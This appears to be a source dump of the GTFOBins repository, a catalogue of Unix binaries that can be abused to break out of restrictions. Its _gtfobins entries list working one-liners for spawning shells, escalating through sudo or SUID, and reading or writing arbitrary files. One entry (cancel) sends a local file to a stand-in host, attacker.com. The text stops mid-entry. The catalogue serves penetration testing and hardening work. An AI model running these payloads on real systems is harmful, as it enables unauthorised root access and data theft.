├── .gitignore ├── Gemfile ├── .yamllint ├── _gtfobins ├── .dir-locals.el ├── ltrace.md ├── zsh.md ├── cpulimit.md ├── env.md ├── nice.md ├── ionice.md ├── unshare.md ├── flock.md ├── stdbuf.md ├── taskset.md ├── setarch.md ├── timeout.md ├── find.md ├── strace.md ├── expect.md ├── man.md ├── dmesg.md ├── mount.md ├── ash.md ├── git.md ├── mysql.md ├── rpm.md ├── csh.md ├── dash.md ├── run-parts.md ├── start-stop-daemon.md ├── rpmquery.md ├── smbclient.md ├── rsync.md ├── pg.md ├── cat.md ├── pic.md ├── facter.md ├── jq.md ├── more.md ├── sort.md ├── head.md ├── tail.md ├── cut.md ├── crontab.md ├── fold.md ├── time.md ├── chmod.md ├── cancel.md ├── unexpand.md ├── base64.md ├── chown.md ├── diff.md ├── uniq.md ├── dmsetup.md ├── expand.md ├── emacs.md ├── rlwrap.md ├── watch.md ├── tee.md ├── journalctl.md ├── nl.md ├── shuf.md ├── zip.md ├── fmt.md ├── dd.md ├── ul.md ├── xxd.md ├── cp.md ├── ld.so.md ├── mv.md ├── red.md ├── ed.md ├── od.md ├── vi.md ├── less.md ├── date.md ├── grep.md ├── mail.md ├── ftp.md ├── readelf.md ├── tcpdump.md ├── sqlite3.md ├── apt.md ├── docker.md ├── openssl.md ├── apt-get.md ├── wish.md ├── sftp.md ├── file.md ├── nano.md ├── pico.md ├── rlogin.md ├── sed.md ├── perl.md ├── puppet.md ├── tftp.md ├── make.md ├── tclsh.md ├── finger.md ├── xargs.md ├── busybox.md ├── scp.md ├── run-mailcap.md ├── telnet.md ├── aria2c.md ├── ssh.md ├── wget.md ├── socat.md ├── tar.md ├── curl.md ├── awk.md ├── cpan.md ├── ruby.md ├── irb.md ├── node.md ├── whois.md ├── nc.md ├── jrunscript.md ├── php.md ├── ksh.md ├── python.md ├── bash.md ├── lua.md ├── jjs.md ├── gdb.md ├── pip.md ├── easy_install.md ├── rvim.md ├── vim.md └── nmap.md ├── assets ├── logo.png └── style.scss ├── CONTRIBUTING.md ├── _layouts ├── page.html ├── bin.html └── common.html ├── .travis.yml ├── functions.md ├── _includes ├── get_bin_name ├── functions_description.html ├── function_list.html ├── page_title.html └── bin_table.html ├── Makefile ├── _config.yml ├── README.md ├── index.md ├── Gemfile.lock ├── scripts └── validate-schema.py ├── contribute.md └── _data └── functions.yml /.gitignore: -------------------------------------------------------------------------------- 1 | /_tmp/ 2 | /.sass-cache/ 3 | /_site/ 4 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'jekyll' 4 | -------------------------------------------------------------------------------- /.yamllint: -------------------------------------------------------------------------------- 1 | extends: default 2 | rules: 3 | line-length: disable 4 | -------------------------------------------------------------------------------- /_gtfobins/.dir-locals.el: -------------------------------------------------------------------------------- 1 | ((markdown-mode . ((mode . yaml)))) 2 | -------------------------------------------------------------------------------- /assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7h3rAm/GTFOBins.github.io/master/assets/logo.png -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | Find the instructions [here](https://gtfobins.github.io/contribute/). 4 | -------------------------------------------------------------------------------- /_layouts/page.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: common 3 | --- 4 | 5 | {% include page_title.html title=page.title %} 6 | 7 | {{ content }} 8 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | --- 2 | language: python 3 | python: 4 | - 3.6 5 | install: 6 | - pip install jsonschema yamllint 7 | script: 8 | - make lint 9 | -------------------------------------------------------------------------------- /_gtfobins/ltrace.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: ltrace -b -L /bin/sh 5 | sudo: 6 | - code: sudo ltrace -b -L /bin/sh 7 | --- 8 | -------------------------------------------------------------------------------- /_gtfobins/zsh.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: zsh 5 | suid: 6 | - code: ./zsh 7 | sudo: 8 | - code: sudo zsh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/cpulimit.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: cpulimit -l 100 -f /bin/sh 5 | sudo: 6 | - code: sudo cpulimit -l 100 -f /bin/sh 7 | --- 8 | -------------------------------------------------------------------------------- /_gtfobins/env.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: env /bin/sh 5 | suid: 6 | - code: ./env /bin/sh -p 7 | sudo: 8 | - code: sudo env /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /functions.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: page 3 | title: Functions 4 | --- 5 | 6 | A binary may support one or more of the following functions: 7 | 8 | {% include functions_description.html %} 9 | -------------------------------------------------------------------------------- /_gtfobins/nice.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: nice /bin/sh 5 | suid: 6 | - code: ./nice /bin/sh -p 7 | sudo: 8 | - code: sudo nice /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/ionice.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: ionice /bin/sh 5 | suid: 6 | - code: ./ionice /bin/sh -p 7 | sudo: 8 | - code: sudo ionice /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/unshare.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: unshare /bin/sh 5 | suid: 6 | - code: ./unshare -r /bin/sh 7 | sudo: 8 | - code: sudo unshare /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/flock.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: flock -u / /bin/sh 5 | suid: 6 | - code: ./flock -u / /bin/sh -p 7 | sudo: 8 | - code: sudo flock -u / /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/stdbuf.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: stdbuf -i0 /bin/sh 5 | suid: 6 | - code: ./stdbuf -i0 /bin/sh -p 7 | sudo: 8 | - code: sudo stdbuf -i0 /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/taskset.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: taskset 1 /bin/sh 5 | suid: 6 | - code: ./taskset 1 /bin/sh -p 7 | sudo: 8 | - code: sudo taskset 1 /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/setarch.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: setarch $(arch) /bin/sh 5 | suid: 6 | - code: ./setarch $(arch) /bin/sh -p 7 | sudo: 8 | - code: sudo setarch $(arch) /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/timeout.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: timeout 7d /bin/sh 5 | suid: 6 | - code: ./timeout 7d /bin/sh -p 7 | sudo: 8 | - code: sudo timeout --foreground 7d /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/find.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: find . -exec /bin/sh \; -quit 5 | suid: 6 | - code: ./find . -exec /bin/sh -p \; -quit 7 | sudo: 8 | - code: sudo find . -exec /bin/sh \; -quit 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/strace.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: strace -o /dev/null /bin/sh 5 | suid: 6 | - code: ./strace -o /dev/null /bin/sh -p 7 | sudo: 8 | - code: sudo strace -o /dev/null /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_includes/get_bin_name: -------------------------------------------------------------------------------- 1 | {% assign fn_parts = include.path | split: '/' | last | split: '.' %}{% assign fn_parts_size = fn_parts | size %}{% if fn_parts_size < 3 %}{{- fn_parts[0] -}}{% else %}{{- fn_parts[0] -}}.{{- fn_parts[1] -}}{% endif %} -------------------------------------------------------------------------------- /_gtfobins/expect.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: expect -c 'spawn /bin/sh;interact' 5 | suid: 6 | - code: ./expect -c 'spawn /bin/sh -p;interact' 7 | sudo: 8 | - code: sudo expect -c 'spawn /bin/sh;interact' 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/man.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | man man 6 | !/bin/sh 7 | file-read: 8 | - code: man file_to_read 9 | sudo: 10 | - code: | 11 | sudo man man 12 | !/bin/sh 13 | --- 14 | -------------------------------------------------------------------------------- /_gtfobins/dmesg.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 4 | functions: 5 | sudo: 6 | - code: | 7 | sudo dmesg -H 8 | !/bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/mount.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | sudo: 4 | - description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell. 5 | code: | 6 | sudo mount -o bind /bin/sh /bin/mount 7 | sudo mount 8 | --- 9 | -------------------------------------------------------------------------------- /_gtfobins/ash.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: ash 5 | file-write: 6 | - code: | 7 | export LFILE=file_to_write 8 | ash -c 'echo DATA > $LFILE' 9 | suid: 10 | - code: "./ash" 11 | sudo: 12 | - code: sudo ash 13 | --- 14 | -------------------------------------------------------------------------------- /_gtfobins/git.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: PAGER='sh -c "exec sh 0<&1"' git -p help 5 | sudo: 6 | - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help 7 | limited-suid: 8 | - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/mysql.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: A valid MySQL server must be available. 3 | functions: 4 | shell: 5 | - code: mysql -e '\! /bin/sh' 6 | sudo: 7 | - code: sudo mysql -e '\! /bin/sh' 8 | limited-suid: 9 | - code: ./mysql -e '\! /bin/sh' 10 | --- 11 | -------------------------------------------------------------------------------- /_gtfobins/rpm.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: rpm --eval '%{lua:posix.exec("/bin/sh")}' 5 | suid: 6 | - code: ./rpm --eval '%{lua:posix.exec("/bin/sh", "-p")}' 7 | sudo: 8 | - code: sudo rpm --eval '%{lua:posix.exec("/bin/sh")}' 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/csh.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: csh 5 | file-write: 6 | - code: | 7 | export LFILE=file_to_write 8 | ash -c 'echo DATA > $LFILE' 9 | suid: 10 | - code: "./csh -b" 11 | sudo: 12 | - code: sudo csh 13 | --- 14 | -------------------------------------------------------------------------------- /_gtfobins/dash.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: dash 5 | file-write: 6 | - code: | 7 | export LFILE=file_to_write 8 | ash -c 'echo DATA > $LFILE' 9 | suid: 10 | - code: ./dash -p 11 | sudo: 12 | - code: sudo dash 13 | --- 14 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: serve serve-public bundle lint 2 | 3 | serve: 4 | bundle exec jekyll serve 5 | 6 | serve-public: 7 | bundle exec jekyll serve --host 0.0.0.0 8 | 9 | bundle: 10 | bundle install 11 | 12 | lint: 13 | yamllint . _gtfobins/*.md 14 | scripts/validate-schema.py 15 | -------------------------------------------------------------------------------- /_gtfobins/run-parts.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: run-parts --new-session --regex '^sh$' /bin 5 | sudo: 6 | - code: sudo run-parts --new-session --regex '^sh$' /bin 7 | suid: 8 | - code: ./run-parts --new-session --regex '^sh$' /bin --arg='-p' 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/start-stop-daemon.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: start-stop-daemon -n $RANDOM -S -x /bin/sh 5 | suid: 6 | - code: ./start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p 7 | sudo: 8 | - code: sudo start-stop-daemon -n $RANDOM -S -x /bin/sh 9 | --- 10 | -------------------------------------------------------------------------------- /_includes/functions_description.html: -------------------------------------------------------------------------------- 1 |
2 | {% for function_pair in site.data.functions %} 3 | {% assign function = function_pair[1] %} 4 |
{{ function.label }}
5 |
{{ function.description | markdownify }}
6 | {% endfor %} 7 |
8 | -------------------------------------------------------------------------------- /_gtfobins/rpmquery.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: rpmquery --eval '%{lua:posix.exec("/bin/sh")}' 5 | suid: 6 | - code: ./rpmquery --eval '%{lua:posix.exec("/bin/sh", "-p")}' 7 | sudo: 8 | - code: sudo rpmquery --eval '%{lua:posix.exec("/bin/sh")}' 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/smbclient.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: A valid SMB/CIFS server must be available. 3 | functions: 4 | shell: 5 | - code: | 6 | smbclient \\ip\share 7 | !/bin/sh 8 | sudo: 9 | - code: | 10 | sudo smbclient \\ip\share 11 | !/bin/sh 12 | --- 13 | -------------------------------------------------------------------------------- /_gtfobins/rsync.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null 5 | sudo: 6 | - code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null 7 | suid: 8 | - code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/pg.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | pg /etc/profile 6 | !/bin/sh 7 | file-read: 8 | - code: pg file_to_read 9 | sudo: 10 | - code: | 11 | sudo pg /etc/profile 12 | !/bin/sh 13 | suid: 14 | - code: ./pg file_to_read 15 | --- 16 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | --- 2 | title: GTFOBins 3 | 4 | exclude: ['/scripts', '/Gemfile', '/Makefile', '/README.md', '/CONTRIBUTING.md'] 5 | 6 | permalink: pretty 7 | 8 | collections: 9 | gtfobins: 10 | output: true 11 | 12 | defaults: 13 | - scope: 14 | path: '_gtfobins' 15 | values: 16 | layout: bin 17 | -------------------------------------------------------------------------------- /_gtfobins/cat.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | cat "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./cat "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo cat "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/pic.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | pic -U 6 | .PS 7 | sh X sh X 8 | sudo: 9 | - code: | 10 | sudo pic -U 11 | .PS 12 | sh X sh X 13 | limited-suid: 14 | - code: | 15 | ./pic -U 16 | .PS 17 | sh X sh X 18 | --- 19 | -------------------------------------------------------------------------------- /_gtfobins/facter.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp -d) 6 | echo 'exec("/bin/sh")' > $TF/x.rb 7 | FACTERLIB=$TF facter 8 | sudo: 9 | - code: | 10 | TF=$(mktemp -d) 11 | echo 'exec("/bin/sh")' > $TF/x.rb 12 | FACTERLIB=$TF sudo -E facter 13 | --- 14 | -------------------------------------------------------------------------------- /_gtfobins/jq.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | jq -Rr . "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./jq -Rr . "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo jq -Rr . "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/more.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TERM= more /etc/profile 6 | !/bin/sh 7 | file-read: 8 | - code: more file_to_read 9 | suid: 10 | - code: ./more file_to_read 11 | sudo: 12 | - code: | 13 | TERM= sudo -E more /etc/profile 14 | !/bin/sh 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/sort.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | sort -m "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./sort -m "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo sort -m "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/head.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | head -c1G "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./head -c1G "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo head -c1G "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/tail.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | tail -c1G "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./tail -c1G "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo tail -c1G "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GTFOBins [![Build Status](https://travis-ci.org/GTFOBins/GTFOBins.github.io.svg?branch=master)](https://travis-ci.org/GTFOBins/GTFOBins.github.io) 2 | 3 | GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. 4 | 5 | Browse the project [here](https://gtfobins.github.io/). 6 | -------------------------------------------------------------------------------- /_gtfobins/cut.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | cut -d "" -f1 "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./cut -d "" -f1 "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo cut -d "" -f1 "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/crontab.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | command: 4 | - description: The commands are executed according to the crontab file edited via the `crontab` utility. 5 | code: crontab -e 6 | sudo: 7 | - description: The commands are executed according to the crontab file edited via the `crontab` utility. 8 | code: sudo crontab -e 9 | --- 10 | -------------------------------------------------------------------------------- /_gtfobins/fold.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | fold -w99999999 "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./fold -w99999999 "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo fold -w99999999 "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/time.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Note that the shell might have its own builtin time implementation, which may behave differently than` /usr/bin/time`, hence the absolute path. 3 | functions: 4 | shell: 5 | - code: /usr/bin/time /bin/sh 6 | suid: 7 | - code: ./time /bin/sh -p 8 | sudo: 9 | - code: sudo /usr/bin/time /bin/sh 10 | --- 11 | -------------------------------------------------------------------------------- /_gtfobins/chmod.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: This can be run with elevated privileges to change permissions and then read, write, or execute a file. 3 | functions: 4 | suid: 5 | - code: | 6 | LFILE=file_to_change 7 | ./chmod 0777 $LFILE 8 | sudo: 9 | - code: | 10 | LFILE=file_to_change 11 | sudo chmod 0777 $LFILE 12 | --- 13 | -------------------------------------------------------------------------------- /_gtfobins/cancel.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-upload: 4 | - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. 5 | code: | 6 | RHOST=attacker.com 7 | RPORT=12345 8 | LFILE=file_to_send 9 | cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT 10 | --- 11 | -------------------------------------------------------------------------------- /_gtfobins/unexpand.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | unexpand -t99999999 "$LFILE" 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./unexpand -t99999999 "$LFILE" 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo unexpand -t99999999 "$LFILE" 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/base64.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | base64 "$LFILE" | base64 --decode 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./base64 "$LFILE" | base64 --decode 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo base64 "$LFILE" | base64 --decode 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/chown.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: This can be run with elevated privileges to change ownership and then read, write, or execute a file. 3 | functions: 4 | suid: 5 | - code: | 6 | LFILE=file_to_change 7 | ./chown $(id -un):$(id -gn) $LFILE 8 | sudo: 9 | - code: | 10 | LFILE=file_to_change 11 | sudo chown $(id -un):$(id -gn) $LFILE 12 | --- 13 | -------------------------------------------------------------------------------- /_gtfobins/diff.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-read: 4 | - code: | 5 | LFILE=file_to_read 6 | diff --line-format=%L /dev/null $LFILE 7 | suid: 8 | - code: | 9 | LFILE=file_to_read 10 | ./diff --line-format=%L /dev/null $LFILE 11 | sudo: 12 | - code: | 13 | LFILE=file_to_read 14 | sudo diff --line-format=%L /dev/null $LFILE 15 | --- 16 | -------------------------------------------------------------------------------- /_includes/function_list.html: -------------------------------------------------------------------------------- 1 | 9 | -------------------------------------------------------------------------------- /_includes/page_title.html: -------------------------------------------------------------------------------- 1 |

2 | {% if page.url != '/' %} 3 | .. / 4 | {% endif %} 5 | {{ include.title }} 6 |
7 | Star 8 |
9 |

10 | -------------------------------------------------------------------------------- /_gtfobins/uniq.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The read file content is corrupted by squashing multiple adjacent lines. 3 | functions: 4 | file-read: 5 | - code: | 6 | LFILE=file_to_read 7 | uniq "$LFILE" 8 | suid: 9 | - code: | 10 | LFILE=file_to_read 11 | ./uniq "$LFILE" 12 | sudo: 13 | - code: | 14 | LFILE=file_to_read 15 | sudo uniq "$LFILE" 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/dmsetup.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | sudo: 4 | - code: | 5 | sudo dmsetup create base <&0 2>&0' 5 | suid: 6 | - description: This keeps the SUID privileges only if the `-x` option is present. 7 | code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0' 8 | sudo: 9 | - code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0' 10 | limited-suid: 11 | - code: ./watch 'reset; exec sh 1>&0 2>&0' 12 | --- 13 | -------------------------------------------------------------------------------- /_gtfobins/tee.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: It can only append data if the destination exists. 3 | functions: 4 | file-write: 5 | - code: | 6 | LFILE=file_to_write 7 | echo DATA | ./tee -a "$LFILE" 8 | suid: 9 | - code: | 10 | LFILE=file_to_write 11 | echo DATA | ./tee -a "$LFILE" 12 | sudo: 13 | - code: | 14 | LFILE=file_to_write 15 | echo DATA | sudo tee -a "$LFILE" 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/journalctl.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 4 | 5 | This might not work if run by unprivileged users depending on the system configuration. 6 | functions: 7 | shell: 8 | - code: | 9 | journalctl 10 | !/bin/sh 11 | sudo: 12 | - code: | 13 | sudo journalctl 14 | !/bin/sh 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/nl.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The read file content is corrupted by a leading space added to each line. 3 | functions: 4 | file-read: 5 | - code: | 6 | LFILE=file_to_read 7 | nl -bn -w1 -s '' $LFILE 8 | suid: 9 | - code: | 10 | LFILE=file_to_read 11 | ./nl -bn -w1 -s '' $LFILE 12 | sudo: 13 | - code: | 14 | LFILE=file_to_read 15 | sudo nl -bn -w1 -s '' $LFILE 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/shuf.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The read file content is corrupted by adding a newline. 3 | functions: 4 | file-write: 5 | - code: | 6 | LFILE=file_to_write 7 | shuf -e DATA -o "$LFILE" 8 | suid: 9 | - code: | 10 | LFILE=file_to_write 11 | ./shuf -e DATA -o "$LFILE" 12 | sudo: 13 | - code: | 14 | LFILE=file_to_write 15 | sudo shuf -e DATA -o "$LFILE" 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/zip.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp -u) 6 | zip $TF /etc/hosts -T -TT 'sh #' 7 | rm $TF 8 | sudo: 9 | - code: | 10 | TF=$(mktemp -u) 11 | sudo zip $TF /etc/hosts -T -TT 'sh #' 12 | sudo rm $TF 13 | limited-suid: 14 | - code: | 15 | TF=$(mktemp -u) 16 | ./zip $TF /etc/hosts -T -TT 'sh #' 17 | sudo rm $TF 18 | --- 19 | -------------------------------------------------------------------------------- /_gtfobins/fmt.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The read file content is not binary-safe. 3 | functions: 4 | file-read: 5 | - code: | 6 | LFILE=file_to_read 7 | fmt -pNON_EXISTING_PREFIX "$LFILE" 8 | suid: 9 | - code: | 10 | LFILE=file_to_read 11 | ./fmt -pNON_EXISTING_PREFIX "$LFILE" 12 | sudo: 13 | - code: | 14 | LFILE=file_to_read 15 | sudo fmt -pNON_EXISTING_PREFIX "$LFILE" 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/dd.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-write: 4 | - code: | 5 | LFILE=file_to_write 6 | echo "DATA" | dd of=$LFILE 7 | file-read: 8 | - code: | 9 | LFILE=file_to_read 10 | dd if=$LFILE 11 | suid: 12 | - code: | 13 | LFILE=file_to_write 14 | echo "data" | ./dd of=$LFILE 15 | sudo: 16 | - code: | 17 | LFILE=file_to_write 18 | echo "data" | sudo -E dd of=$LFILE 19 | --- 20 | -------------------------------------------------------------------------------- /_gtfobins/ul.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The read file content is corrupted by replacing occurrences of `$'\b_'` to terminal sequences and by converting tabs to spaces. 3 | functions: 4 | file-read: 5 | - code: | 6 | LFILE=file_to_read 7 | ul "$LFILE" 8 | suid: 9 | - code: | 10 | LFILE=file_to_read 11 | ./ul "$LFILE" 12 | sudo: 13 | - code: | 14 | LFILE=file_to_read 15 | sudo ul "$LFILE" 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/xxd.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-write: 4 | - code: | 5 | LFILE=file_to_write 6 | echo DATA | xxd | xxd -r - "$LFILE" 7 | file-read: 8 | - code: | 9 | LFILE=file_to_read 10 | xxd "$LFILE" | xxd -r 11 | suid: 12 | - code: | 13 | LFILE=file_to_read 14 | ./xxd "$LFILE" | xxd -r 15 | sudo: 16 | - code: | 17 | LFILE=file_to_read 18 | sudo xxd "$LFILE" | xxd -r 19 | --- 20 | -------------------------------------------------------------------------------- /_gtfobins/cp.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. 3 | functions: 4 | suid: 5 | - code: | 6 | LFILE=file_to_write 7 | TF=$(mktemp) 8 | echo "DATA" > $TF 9 | ./cp $TF $LFILE 10 | sudo: 11 | - code: | 12 | LFILE=file_to_write 13 | TF=$(mktemp) 14 | echo "DATA" > $TF 15 | sudo cp $TF $LFILE 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/ld.so.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | `ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with: 4 | 5 | ``` 6 | $ strings /proc/self/exe | head -1 7 | /lib64/ld-linux-x86-64.so.2 8 | ``` 9 | functions: 10 | shell: 